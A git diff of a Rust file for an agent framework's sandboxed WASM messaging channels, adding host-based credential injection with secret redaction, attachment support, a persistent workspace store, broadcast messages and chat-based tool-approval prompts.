b/src/channels/wasm/wrapper.rs index 212334a6..cac0cb1f 100644 --- a/src/channels/wasm/wrapper.rs +++ b/src/channels/wasm/wrapper.rs @@ -37,12 +37,14 @@ use tokio::sync::{RwLock, mpsc, oneshot}; use tokio_stream::wrappers::ReceiverStream; use uuid::Uuid; use wasmtime::Store; -use wasmtime::component::{Component, Linker}; +use wasmtime::component::Linker; use wasmtime_wasi::{ResourceTable, WasiCtx, WasiCtxBuilder, WasiView}; use crate::channels::wasm::capabilities::ChannelCapabilities; use crate::channels::wasm::error::WasmChannelError; -use crate::channels::wasm::host::{ChannelEmitRateLimiter, ChannelHostState, EmittedMessage}; +use crate::channels::wasm::host::{ + ChannelEmitRateLimiter, ChannelHostState, ChannelWorkspaceStore, EmittedMessage, +}; use crate::channels::wasm::router::RegisteredEndpoint; use crate::channels::wasm::runtime::{PreparedChannelModule, WasmChannelRuntime}; use crate::channels::wasm::schema::ChannelConfig; @@ -50,8 +52,12 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, use crate::error::ChannelError; use crate::pairing::PairingStore; use crate::safety::LeakDetector; +use crate::secrets::SecretsStore; use crate::tools::wasm::LogLevel; use crate::tools::wasm::WasmResourceLimiter; +use crate::tools::wasm::credential_injector::{ + InjectedCredentials, host_matches_pattern, inject_credential, +}; // Generate component model bindings from the WIT file wasmtime::component::bindgen!({ @@ -63,6 +69,23 @@ wasmtime::component::bindgen!({ }, }); +/// Pre-resolved credential for host-based injection. +/// +/// Built before each WASM execution by decrypting secrets from the store. +/// Applied per-request by matching the URL host against `host_patterns`. +/// WASM channels never see the raw secret values. +#[derive(Clone)] +struct ResolvedHostCredential { + /// Host patterns this credential applies to (e.g., "api.slack.com"). + host_patterns: Vec, + /// Headers to add to matching requests (e.g., "Authorization: Bearer ..."). + headers: HashMap, + /// Query parameters to add to matching requests. + query_params: HashMap, + /// Raw secret value for redaction in error messages. + secret_value: String, +} + /// Store data for WASM channel execution. /// /// Contains the resource limiter, channel-specific host state, and WASI context. @@ -74,6 +97,9 @@ struct ChannelStoreData { /// Injected credentials for URL substitution (e.g., bot tokens). /// Keys are placeholder names like "TELEGRAM_BOT_TOKEN". credentials: HashMap, + /// Pre-resolved credentials for automatic host-based injection. + /// Applied per-request by matching the URL host against host_patterns. + host_credentials: Vec, /// Pairing store for DM pairing (guest access control). pairing_store: Arc, /// Dedicated tokio runtime for HTTP requests, lazily initialized. @@ -87,6 +113,7 @@ impl ChannelStoreData { channel_name: &str, capabilities: ChannelCapabilities, credentials: HashMap, + host_credentials: Vec, pairing_store: Arc, ) -> Self { // Create a minimal WASI context (no filesystem, no env vars for security) @@ -98,6 +125,7 @@ impl ChannelStoreData { wasi, table: ResourceTable::new(), credentials, + host_credentials, pairing_store, http_runtime: None, } @@ -157,15 +185,74 @@ impl ChannelStoreData { /// return values to WASM. reqwest::Error includes the full URL in its /// Display output, so any error from an injected-URL request will /// contain the raw credential unless we scrub it. + /// + /// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret + /// to prevent exfiltration via encoded representations in error strings. fn redact_credentials(&self, text: &str) -> String { let mut result = text.to_string(); for (name, value) in &self.credentials { if !value.is_empty() { - result = result.replace(value, &format!("[REDACTED:{}]", name)); + let tag = format!("[REDACTED:{}]", name); + result = result.replace(value, &tag); + // Also redact URL-encoded form (covers secrets in query strings) + let encoded = urlencoding::encode(value); + if encoded != *value { + result = result.replace(encoded.as_ref(), &tag); + } + } + } + for cred in &self.host_credentials { + if !cred.secret_value.is_empty() { + let tag = "[REDACTED:host_credential]"; + result = result.replace(&cred.secret_value, tag); + // Also redact URL-encoded form (covers secrets injected as query params) + let encoded = urlencoding::encode(&cred.secret_value); + if encoded.as_ref() != cred.secret_value { + result = result.replace(encoded.as_ref(), tag); + } } } result } + + /// Inject pre-resolved host credentials into the request. + /// + /// Matches the URL host against each resolved credential's host_patterns. + /// Matching credentials have their headers merged and query params appended. + fn inject_host_credentials( + &self, + url_host: &str, + headers: &mut HashMap, + url: &mut String, + ) { + for cred in &self.host_credentials { + let matches = cred + .host_patterns + .iter() + .any(|pattern| host_matches_pattern(url_host, pattern)); + + if !matches { + continue; + } + + // Merge injected headers (host credentials take precedence) + for (key, value) in &cred.headers { + headers.insert(key.clone(), value.clone()); + } + + // Append query parameters to URL + if !cred.query_params.is_empty() { + if let Ok(mut parsed_url) = url::Url::parse(url) { + for (name, value) in &cred.query_params { + parsed_url.query_pairs_mut().append_pair(name, value); + } + *url = parsed_url.to_string(); + } else { + tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection"); + } + } + } + } } // Implement WasiView to provide WASI context and resource table @@ -247,7 +334,7 @@ impl near::agent::channel_host::Host for ChannelStoreData { let raw_headers: std::collections::HashMap = serde_json::from_str(&headers_json).unwrap_or_default(); - let headers: std::collections::HashMap = raw_headers + let mut headers: std::collections::HashMap = raw_headers .into_iter() .map(|(k, v)| { ( @@ -266,7 +353,12 @@ impl near::agent::channel_host::Host for ChannelStoreData { "Parsed and injected request headers" ); - let url = injected_url; + let mut url = injected_url; + + // Leak scan runs on WASM-provided values BEFORE host credential injection. + // This prevents false positives where the host-injected Bearer token + // (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw + // the real value, so scanning the pre-injection state is correct. let leak_detector = LeakDetector::new(); let header_vec: Vec<(String, String)> = headers .iter() @@ -277,6 +369,12 @@ impl near::agent::channel_host::Host for ChannelStoreData { .scan_http_request(&url, &header_vec, body.as_deref()) .map_err(|e| format!("Potential secret leak blocked: {}", e))?; + // Inject pre-resolved host credentials (Bearer tokens, API keys, etc.) + // after the leak scan so host-injected secrets don't trigger false positives. + if let Some(host) = extract_host_from_url(&url) { + self.inject_host_credentials(&host, &mut headers, &mut url); + } + // Get the max response size from capabilities (default 10MB). let max_response_bytes = self .host_state @@ -434,9 +532,45 @@ impl near::agent::channel_host::Host for ChannelStoreData { user_id = %msg.user_id, user_name = ?msg.user_name, content_len = msg.content.len(), + attachment_count = msg.attachments.len(), "WASM emit_message called" ); + let attachments: Vec = msg + .attachments + .into_iter() + .map(|a| { + // Parse extras-json for well-known fields + let extras: serde_json::Value = if a.extras_json.is_empty() { + serde_json::Value::Null + } else { + serde_json::from_str(&a.extras_json).unwrap_or(serde_json::Value::Null) + }; + let duration_secs = extras + .get("duration_secs") + .and_then(|v| v.as_u64()) + .map(|v| v as u32); + + // Merge stored binary data (from store-attachment-data host call) + let data = self + .host_state + .remove_attachment_data(&a.id) + .unwrap_or_default(); + + crate::channels::wasm::host::Attachment { + id: a.id, + mime_type: a.mime_type, + filename: a.filename, + size_bytes: a.size_bytes, + source_url: a.source_url, + storage_key: a.storage_key, + extracted_text: a.extracted_text, + data, + duration_secs, + } + }) + .collect(); + let mut emitted = EmittedMessage::new(msg.user_id.clone(), msg.content.clone()); if let Some(name) = msg.user_name { emitted = emitted.with_user_name(name); @@ -445,6 +579,7 @@ impl near::agent::channel_host::Host for ChannelStoreData { emitted = emitted.with_thread_id(tid); } emitted = emitted.with_metadata(msg.metadata_json); + emitted = emitted.with_attachments(attachments); match self.host_state.emit_message(emitted) { Ok(()) => { @@ -456,6 +591,21 @@ impl near::agent::channel_host::Host for ChannelStoreData { } } + fn store_attachment_data( + &mut self, + attachment_id: String, + data: Vec, + ) -> Result<(), String> { + tracing::debug!( + attachment_id = %attachment_id, + size = data.len(), + "WASM store_attachment_data called" + ); + self.host_state + .store_attachment_data(&attachment_id, data) + .map_err(|e| e.to_string()) + } + fn pairing_upsert_request( &mut self, channel: String, @@ -547,6 +697,48 @@ pub struct WasmChannel { /// Pairing store for DM pairing (guest access control). pairing_store: Arc, + + /// In-memory workspace store persisting writes across callback invocations. + /// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks. + workspace_store: Arc, + + /// Last-seen message metadata (contains chat_id for broadcast routing). + /// Populated from incoming messages so `broadcast()` knows where to send. + last_broadcast_metadata: Arc>>, + + /// Settings store for persisting broadcast metadata across restarts. + settings_store: Option>, + + /// Secrets store for host-based credential injection. + /// Used to pre-resolve credentials before each WASM callback. + secrets_store: Option>, +} + +/// Update broadcast metadata in memory and persist to the settings store when +/// it changes. Extracted as a free function so both the `WasmChannel` instance +/// method and the static polling helper share one implementation. +async fn do_update_broadcast_metadata( + channel_name: &str, + metadata: &str, + last_broadcast_metadata: &tokio::sync::RwLock>, + settings_store: Option<&Arc>, +) { + let mut guard = last_broadcast_metadata.write().await; + let changed = guard.as_deref() != Some(metadata); + *guard = Some(metadata.to_string()); + drop(guard); + + if changed && let Some(store) = settings_store { + let key = format!("channel_broadcast_metadata_{}", channel_name); + let value = serde_json::Value::String(metadata.to_string()); + if let Err(e) = store.set_setting("default", &key, &value).await { + tracing::warn!( + channel = %channel_name, + "Failed to persist broadcast metadata: {}", + e + ); + } + } } impl WasmChannel { @@ -557,6 +749,7 @@ impl WasmChannel { capabilities: ChannelCapabilities, config_json: String, pairing_store: Arc, + settings_store: Option>, ) -> Self { let name = prepared.name.clone(); let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone()); @@ -577,9 +770,23 @@ impl WasmChannel { credentials: Arc::new(RwLock::new(HashMap::new())), typing_task: RwLock::new(None), pairing_store, + workspace_store: Arc::new(ChannelWorkspaceStore::new()), + last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)), + settings_store, + secrets_store: None, } } + /// Set the secrets store for host-based credential injection. + /// + /// When set, credentials declared in the channel's capabilities are + /// automatically decrypted and injected into HTTP requests based on + /// the target host (e.g., Bearer token for api.slack.com). + pub fn with_secrets_store(mut self, store: Arc) -> Self { + self.secrets_store = Some(store); + self + } + /// Update the channel config before starting. /// /// Merges the provided values into the existing config JSON. @@ -624,6 +831,51 @@ impl WasmChannel { &self.name } + /// Settings key for persisted broadcast metadata. + fn broadcast_metadata_key(&self) -> String { + format!("channel_broadcast_metadata_{}", self.name) + } + + /// Update broadcast metadata in memory and persist if changed (best-effort). + /// + /// Compares with the current value to avoid redundant DB writes on every + /// incoming message (the chat_id rarely changes). + async fn update_broadcast_metadata(&self, metadata: &str) { + do_update_broadcast_metadata( + &self.name, + metadata, + &self.last_broadcast_metadata, + self.settings_store.as_ref(), + ) + .await; + } + + /// Load broadcast metadata from settings store on startup. + async fn load_broadcast_metadata(&self) { + if let Some(ref store) = self.settings_store { + match store + .get_setting("default", &self.broadcast_metadata_key()) + .await + { + Ok(Some(serde_json::Value::String(meta))) => { + *self.last_broadcast_metadata.write().await = Some(meta); + tracing::debug!( + channel = %self.name, + "Restored broadcast metadata from settings" + ); + } + Ok(_) => {} + Err(e) => { + tracing::warn!( + channel = %self.name, + "Failed to load broadcast metadata: {}", + e + ); + } + } + } + } + /// Get the channel capabilities. pub fn capabilities(&self) -> &ChannelCapabilities { &self.capabilities @@ -634,6 +886,26 @@ impl WasmChannel { self.endpoints.read().await.clone() } + /// Inject the workspace store as the reader into a capabilities clone. + /// + /// Ensures `workspace_read` capability is present with the store as its reader, + /// so WASM callbacks can read previously written workspace state. + fn inject_workspace_reader( + capabilities: &ChannelCapabilities, + store: &Arc, + ) -> ChannelCapabilities { + let mut caps = capabilities.clone(); + let ws_cap = caps + .tool_capabilities + .workspace_read + .get_or_insert_with(|| crate::tools::wasm::WorkspaceCapability { + allowed_prefixes: Vec::new(), + reader: None, + }); + ws_cap.reader = Some(Arc::clone(store) as Arc); + caps + } + /// Add channel host functions to the linker using generated bindings. /// /// Uses the wasmtime::component::bindgen! generated `add_to_linker` function @@ -658,6 +930,7 @@ impl WasmChannel { prepared: &PreparedChannelModule, capabilities: &ChannelCapabilities, credentials: HashMap, + host_credentials: Vec, pairing_store: Arc, ) -> Result, WasmChannelError> { let engine = runtime.engine(); @@ -669,6 +942,7 @@ impl WasmChannel { &prepared.name, capabilities.clone(), credentials, + host_credentials, pairing_store, ); let mut store = Store::new(engine, store_data); @@ -698,17 +972,32 @@ impl WasmChannel { ) -> Result { let engine = runtime.engine(); - // Compile the component (uses cached bytes) - let component = Component::new(engine, prepared.component_bytes()) - .map_err(|e| WasmChannelError::Compilation(e.to_string()))?; + // Use the pre-compiled component (no recompilation needed) + let component = prepared + .component() + .ok_or_else(|| { + WasmChannelError::Compilation("No compiled component available".to_string()) + })? + .clone(); // Create linker and add host functions let mut linker = Linker::new(engine); Self::add_host_functions(&mut linker)?; // Instantiate using the generated bindings - let instance = SandboxedChannel::instantiate(store, &component, &linker) - .map_err(|e| WasmChannelError::Instantiation(e.to_string()))?; + let instance = SandboxedChannel::instantiate(store, &component, &linker).map_err(|e| { + let msg = e.to_string(); + if msg.contains("near:agent") || msg.contains("import") { + WasmChannelError::Instantiation(format!( + "{msg}. This may indicate a WIT version mismatch — \ + the channel was compiled against a different WIT than the host supports \ + (host WIT: {}). Rebuild the channel against the current WIT.", + crate::tools::wasm::WIT_CHANNEL_VERSION + )) + } else { + WasmChannelError::Instantiation(msg) + } + })?; Ok(instance) } @@ -749,9 +1038,14 @@ impl WasmChannel { /// Execute the on_start callback. /// /// Returns the channel configuration for HTTP endpoint registration. - async fn call_on_start(&self) -> Result { + /// Call the WASM module's `on_start` callback. + /// + /// Typically called once during `start()`, but can be called again after + /// credentials are refreshed to re-trigger webhook registration and + /// other one-time setup that depends on credentials. + pub async fn call_on_start(&self) -> Result { // If no WASM bytes, return default config (for testing) - if self.prepared.component_bytes.is_empty() { + if self.prepared.component().is_none() { tracing::info!( channel = %self.name, "WASM channel on_start called (no WASM module, returning defaults)" @@ -765,12 +1059,16 @@ impl WasmChannel { let runtime = Arc::clone(&self.runtime); let prepared = Arc::clone(&self.prepared); - let capabilities = self.capabilities.clone(); + let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store); let config_json = self.config_json.read().await.clone(); let timeout = self.runtime.config().callback_timeout; let channel_name = self.name.clone(); let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; let pairing_store = self.pairing_store.clone(); + let workspace_store = self.workspace_store.clone(); // Execute in blocking task with timeout let result = tokio::time::timeout(timeout, async move { @@ -780,6 +1078,7 @@ impl WasmChannel { &prepared, &capabilities, credentials, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -801,8 +1100,13 @@ impl WasmChannel { } }; - let host_state = + let mut host_state = Self::extract_host_state(&mut store, &prepared.name, &capabilities); + + // Commit pending workspace writes to the persistent store + let pending_writes = host_state.take_pending_writes(); + workspace_store.commit_writes(&pending_writes); + Ok((config, host_state)) }) .await @@ -885,7 +1189,7 @@ impl WasmChannel { ); // If no WASM bytes, return 200 OK (for testing) - if self.prepared.component_bytes.is_empty() { + if self.prepared.component().is_none() { tracing::debug!( channel = %self.name, method = method, @@ -897,10 +1201,14 @@ impl WasmChannel { let runtime = Arc::clone(&self.runtime); let prepared = Arc::clone(&self.prepared); - let capabilities = self.capabilities.clone(); + let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store); let timeout = self.runtime.config().callback_timeout; let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; let pairing_store = self.pairing_store.clone(); + let workspace_store = self.workspace_store.clone(); // Prepare request data let method = method.to_string(); @@ -919,6 +1227,7 @@ impl WasmChannel { &prepared, &capabilities, credentials, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -940,8 +1249,13 @@ impl WasmChannel { .map_err(|e| Self::map_wasm_error(e, &prepared.name, prepared.limits.fuel))?; let response = convert_http_response(wit_response); - let host_state = + let mut host_state = Self::extract_host_state(&mut store, &prepared.name, &capabilities); + + // Commit pending workspace writes to the persistent store + let pending_writes = host_state.take_pending_writes(); + workspace_store.commit_writes(&pending_writes); + Ok((response, host_state)) }) .await @@ -979,7 +1293,7 @@ impl WasmChannel { /// Called periodically if polling is configured. pub async fn call_on_poll(&self) -> Result<(), WasmChannelError> { // If no WASM bytes, do nothing (for testing) - if self.prepared.component_bytes.is_empty() { + if self.prepared.component().is_none() { tracing::debug!( channel = %self.name, "WASM channel on_poll called (no WASM module)" @@ -989,11 +1303,15 @@ impl WasmChannel { let runtime = Arc::clone(&self.runtime); let prepared = Arc::clone(&self.prepared); - let capabilities = self.capabilities.clone(); + let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store); let timeout = self.runtime.config().callback_timeout; let channel_name = self.name.clone(); let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; let pairing_store = self.pairing_store.clone(); + let workspace_store = self.workspace_store.clone(); // Execute in blocking task with timeout let result = tokio::time::timeout(timeout, async move { @@ -1003,6 +1321,7 @@ impl WasmChannel { &prepared, &capabilities, credentials, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -1013,8 +1332,13 @@ impl WasmChannel { .call_on_poll(&mut store) .map_err(|e| Self::map_wasm_error(e, &prepared.name, prepared.limits.fuel))?; - let host_state = + let mut host_state = Self::extract_host_state(&mut store, &prepared.name, &capabilities); + + // Commit pending workspace writes to the persistent store + let pending_writes = host_state.take_pending_writes(); + workspace_store.commit_writes(&pending_writes); + Ok(((), host_state)) }) .await @@ -1055,12 +1379,14 @@ impl WasmChannel { content: &str, thread_id: Option<&str>, metadata_json: &str, + attachments: &[String], ) -> Result<(), WasmChannelError> { tracing::info!( channel = %self.name, message_id = %message_id, content_len = content.len(), thread_id = ?thread_id, + attachment_count = attachments.len(), "call_on_respond invoked" ); @@ -1073,7 +1399,7 @@ impl WasmChannel { ); // If no WASM bytes, do nothing (for testing) - if self.prepared.component_bytes.is_empty() { + if self.prepared.component().is_none() { tracing::debug!( channel = %self.name, message_id = %message_id, @@ -1088,6 +1414,9 @@ impl WasmChannel { let timeout = self.runtime.config().callback_timeout; let channel_name = self.name.clone(); let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; let pairing_store = self.pairing_store.clone(); // Prepare response data @@ -1095,18 +1424,28 @@ impl WasmChannel { let content = content.to_string(); let thread_id = thread_id.map(|s| s.to_string()); let metadata_json = metadata_json.to_string(); + let attachments = attachments.to_vec(); // Execute in blocking task with timeout tracing::info!(channel = %channel_name, "Starting on_respond WASM execution"); let result = tokio::time::timeout(timeout, async move { tokio::task::spawn_blocking(move || { + // Read attachment files from disk before entering WASM + let wit_attachments = read_attachments(&attachments).map_err(|e| { + WasmChannelError::CallbackFailed { + name: prepared.name.clone(), + reason: e, + } + })?; + tracing::info!("Creating WASM store for on_respond"); let mut store = Self::create_store( &runtime, &prepared, &capabilities, credentials, + host_credentials, pairing_store, )?; @@ -1119,6 +1458,7 @@ impl WasmChannel { content: content.clone(), thread_id, metadata_json, + attachments: wit_attachments, }; // Truncate at char boundary for logging (avoid panic on multi-byte UTF-8) @@ -1182,16 +1522,30 @@ impl WasmChannel { } } - /// Execute the on_status callback. + /// Execute the on_broadcast callback. /// - /// Called to notify the WASM channel of agent status changes (e.g., typing). - pub async fn call_on_status( + /// Called to send a proactive message to a user without a prior incoming message. + pub async fn call_on_broadcast( &self, - status: &StatusUpdate, - metadata: &serde_json::Value, + user_id: &str, + content: &str, + thread_id: Option<&str>, + attachments: &[String], ) -> Result<(), WasmChannelError> { + tracing::info!( + channel = %self.name, + user_id = %user_id, + content_len = content.len(), + attachment_count = attachments.len(), + "call_on_broadcast invoked" + ); + // If no WASM bytes, do nothing (for testing) - if self.prepared.component_bytes.is_empty() { + if self.prepared.component().is_none() { + tracing::debug!( + channel = %self.name, + "WASM channel on_broadcast called (no WASM module)" + ); return Ok(()); } @@ -1201,6 +1555,113 @@ impl WasmChannel { let timeout = self.runtime.config().callback_timeout; let channel_name = self.name.clone(); let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; + let pairing_store = self.pairing_store.clone(); + + let user_id = user_id.to_string(); + let content = content.to_string(); + let thread_id = thread_id.map(|s| s.to_string()); + let attachments = attachments.to_vec(); + + let result = tokio::time::timeout(timeout, async move { + tokio::task::spawn_blocking(move || { + // Read attachment files from disk + let wit_attachments = read_attachments(&attachments).map_err(|e| { + WasmChannelError::CallbackFailed { + name: prepared.name.clone(), + reason: e, + } + })?; + + let mut store = Self::create_store( + &runtime, + &prepared, + &capabilities, + credentials, + host_credentials, + pairing_store, + )?; + + let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; + + let wit_response = wit_channel::AgentResponse { + message_id: String::new(), + content: content.clone(), + thread_id, + metadata_json: String::new(), + attachments: wit_attachments, + }; + + let channel_iface = instance.near_agent_channel(); + let wasm_result = channel_iface + .call_on_broadcast(&mut store, &user_id, &wit_response) + .map_err(|e| { + tracing::error!(error = %e, "WASM on_broadcast call failed"); + Self::map_wasm_error(e, &prepared.name, prepared.limits.fuel) + })?; + + if let Err(ref err_msg) = wasm_result { + tracing::error!(error = %err_msg, "WASM on_broadcast returned error"); + return Err(WasmChannelError::CallbackFailed { + name: prepared.name.clone(), + reason: err_msg.clone(), + }); + } + + let host_state = + Self::extract_host_state(&mut store, &prepared.name, &capabilities); + tracing::info!("on_broadcast WASM execution completed successfully"); + Ok(((), host_state)) + }) + .await + .map_err(|e| WasmChannelError::ExecutionPanicked { + name: channel_name.clone(), + reason: e.to_string(), + })? + }) + .await; + + let channel_name = self.name.clone(); + match result { + Ok(Ok(((), _host_state))) => { + tracing::debug!( + channel = %channel_name, + "WASM channel on_broadcast completed" + ); + Ok(()) + } + Ok(Err(e)) => Err(e), + Err(_) => Err(WasmChannelError::Timeout { + name: channel_name, + callback: "on_broadcast".to_string(), + }), + } + } + + /// Execute the on_status callback. + /// + /// Called to notify the WASM channel of agent status changes (e.g., typing). + pub async fn call_on_status( + &self, + status: &StatusUpdate, + metadata: &serde_json::Value, + ) -> Result<(), WasmChannelError> { + // If no WASM bytes, do nothing (for testing) + if self.prepared.component().is_none() { + return Ok(()); + } + + let runtime = Arc::clone(&self.runtime); + let prepared = Arc::clone(&self.prepared); + let capabilities = self.capabilities.clone(); + let timeout = self.runtime.config().callback_timeout; + let channel_name = self.name.clone(); + let credentials = self.get_credentials().await; + let host_credentials = + resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref()) + .await; let pairing_store = self.pairing_store.clone(); let wit_update = status_to_wit(status, metadata); @@ -1212,6 +1673,7 @@ impl WasmChannel { &prepared, &capabilities, credentials, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -1258,11 +1720,12 @@ impl WasmChannel { prepared: &Arc, capabilities: &ChannelCapabilities, credentials: &RwLock>, + host_credentials: Vec, pairing_store: Arc, timeout: Duration, wit_update: wit_channel::StatusUpdate, ) -> Result<(), WasmChannelError> { - if prepared.component_bytes.is_empty() { + if prepared.component().is_none() { return Ok(()); } @@ -1279,6 +1742,7 @@ impl WasmChannel { &prepared, &capabilities, credentials_snapshot, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -1321,13 +1785,25 @@ impl WasmChannel { /// that repeats the call every 4 seconds (Telegram's typing indicator /// expires after ~5s). /// - /// On Done/Interrupted/Status: cancels the repeat task, fires on_status once. + /// On terminal or user-action-required states: cancels the repeat task, + /// then fires on_status once. + /// + /// On intermediate progress states (tool/auth/job/status updates), keeps + /// the typing repeater running and fires on_status once. /// On StreamChunk: no-op (too noisy). async fn handle_status_update( &self, status: StatusUpdate, metadata: &serde_json::Value, ) -> Result<(), ChannelError> { + fn is_terminal_text_status(msg: &str) -> bool { + let trimmed = msg.trim(); + trimmed.eq_ignore_ascii_case("done") + || trimmed.eq_ignore_ascii_case("interrupted") + || trimmed.eq_ignore_ascii_case("awaiting approval") + || trimmed.eq_ignore_ascii_case("rejected") + } + match &status { StatusUpdate::Thinking(_) => { // Cancel any existing typing task @@ -1348,6 +1824,13 @@ impl WasmChannel { let prepared = Arc::clone(&self.prepared); let capabilities = self.capabilities.clone(); let credentials = self.credentials.clone(); + // Pre-resolve host credentials once for the lifetime of the repeater. + // Channels tokens rarely change, so a snapshot per-repeater is correct. + let repeater_host_credentials = resolve_channel_host_credentials( + &self.capabilities, + self.secrets_store.as_deref(), + ) + .await; let pairing_store = self.pairing_store.clone(); let callback_timeout = self.runtime.config().callback_timeout; let wit_update = status_to_wit(&status, metadata); @@ -1361,6 +1844,7 @@ impl WasmChannel { interval.tick().await; let wit_update_clone = clone_wit_status_update(&wit_update); + let hc = repeater_host_credentials.clone(); if let Err(e) = Self::execute_status( &channel_name, @@ -1368,6 +1852,7 @@ impl WasmChannel { &prepared, &capabilities, &credentials, + hc, pairing_store.clone(), callback_timeout, wit_update_clone, @@ -1388,10 +1873,98 @@ impl WasmChannel { StatusUpdate::StreamChunk(_) => { // No-op, too noisy } - _ => { - // Done, Interrupted, Status, ToolStarted, ToolCompleted: cancel and fire once + StatusUpdate::ApprovalNeeded { + tool_name, + description, + parameters, + .. + } => { + // WASM channels (Telegram, Slack, etc.) cannot render + // interactive approval overlays. Send the approval prompt + // as an actual message so the user can reply yes/no. self.cancel_typing_task().await; + let params_preview = parameters + .as_object() + .map(|obj| { + obj.iter() + .map(|(k, v)| { + let val = match v { + serde_json::Value::String(s) => { + if s.chars().count() > 80 { + let truncated: String = s.chars().take(77).collect(); + format!("\"{}...\"", truncated) + } else { + format!("\"{}\"", s) + } + } + other => { + let s = other.to_string(); + if s.chars().count() > 80 { + let truncated: String = s.chars().take(77).collect(); + format!("{}...", truncated) + } else { + s + } + } + }; + format!(" {}: {}", k, val) + }) + .collect::>() + .join("\n") + }) + .unwrap_or_default(); + + let prompt = format!( + "Approval needed: {tool_name}\n\ + {description}\n\ + \n\ + Parameters:\n\ + {params_preview}\n\ + \n\ + Reply \"yes\" to approve, \"no\" to deny, or \"always\" to auto-approve." + ); + + let metadata_json = serde_json::to_string(metadata).unwrap_or_default(); + if let Err(e) = self + .call_on_respond(uuid::Uuid::new_v4(), &prompt, None, &metadata_json, &[]) + .await + { + tracing::warn!( + channel = %self.name, + error = %e, + "Failed to send approval prompt via on_respond, falling back to on_status" + ); + // Fall back to status update (typing indicator) + let _ = self.call_on_status(&status, metadata).await; + } + } + StatusUpdate::AuthRequired { .. } => { + // Waiting on user action: stop typing and fire once. + self.cancel_typing_task().await; + + if let Err(e) = self.call_on_status(&status, metadata).await { + tracing::debug!( + channel = %self.name, + error = %e, + "on_status failed (best-effort)" + ); + } + } + StatusUpdate::Status(msg) if is_terminal_text_status(msg) => { + // Waiting on user or terminal states: stop typing and fire once. + self.cancel_typing_task().await; + + if let Err(e) = self.call_on_status(&status, metadata).await { + tracing::debug!( + channel = %self.name, + error = %e, + "on_status failed (best-effort)" + ); + } + } + _ => { + // Intermediate progress status: keep any existing typing task alive. if let Err(e) = self.call_on_status(&status, metadata).await { tracing::debug!( channel = %self.name, @@ -1456,9 +2029,32 @@ impl WasmChannel { msg = msg.with_thread(thread_id); } + // Convert attachments + if !emitted.attachments.is_empty() { + let incoming_attachments = emitted + .attachments + .iter() + .map(|a| crate::channels::IncomingAttachment { + id: a.id.clone(), + kind: crate::channels::AttachmentKind::from_mime_type(&a.mime_type), + mime_type: a.mime_type.clone(), + filename: a.filename.clone(), + size_bytes: a.size_bytes, + source_url: a.source_url.clone(), + storage_key: a.storage_key.clone(), + extracted_text: a.extracted_text.clone(), + data: a.data.clone(), + duration_secs: a.duration_secs, + }) + .collect(); + msg = msg.with_attachments(incoming_attachments); + } + // Parse metadata JSON if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) { msg = msg.with_metadata(metadata); + // Store for broadcast routing (chat_id etc.) + self.update_broadcast_metadata(&emitted.metadata_json).await; } // Send to stream @@ -1466,6 +2062,7 @@ impl WasmChannel { channel = %self.name, user_id = %emitted.user_id, content_len = emitted.content.len(), + attachment_count = msg.attachments.len(), "Sending emitted message to agent" ); @@ -1495,12 +2092,17 @@ impl WasmChannel { let channel_name = self.name.clone(); let runtime = Arc::clone(&self.runtime); let prepared = Arc::clone(&self.prepared); - let capabilities = self.capabilities.clone(); + let poll_capabilities = self.capabilities.clone(); + let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store); let message_tx = self.message_tx.clone(); let rate_limiter = self.rate_limiter.clone(); let credentials = self.credentials.clone(); let pairing_store = self.pairing_store.clone(); let callback_timeout = self.runtime.config().callback_timeout; + let workspace_store = self.workspace_store.clone(); + let last_broadcast_metadata = self.last_broadcast_metadata.clone(); + let settings_store = self.settings_store.clone(); + let poll_secrets_store = self.secrets_store.clone(); tokio::spawn(async move { let mut interval_timer = tokio::time::interval(interval); @@ -1514,6 +2116,13 @@ impl WasmChannel { "Polling tick - calling on_poll" ); + // Pre-resolve host credentials for this tick + let host_credentials = resolve_channel_host_credentials( + &poll_capabilities, + poll_secrets_store.as_deref(), + ) + .await; + // Execute on_poll with fresh WASM instance let result = Self::execute_poll( &channel_name, @@ -1521,8 +2130,10 @@ impl WasmChannel { &prepared, &capabilities, &credentials, + host_credentials, pairing_store.clone(), callback_timeout, + &workspace_store, ).await; match result { @@ -1534,6 +2145,8 @@ impl WasmChannel { emitted_messages, &message_tx, &rate_limiter, + &last_broadcast_metadata, + settings_store.as_ref(), ).await { tracing::warn!( channel = %channel_name, @@ -1565,18 +2178,23 @@ impl WasmChannel { /// Execute a single poll callback with a fresh WASM instance. /// - /// Returns any emitted messages from the callback. + /// Returns any emitted messages from the callback. Pending workspace writes + /// are committed to the shared `ChannelWorkspaceStore` so state persists + /// across poll ticks (e.g., Telegram polling offset). + 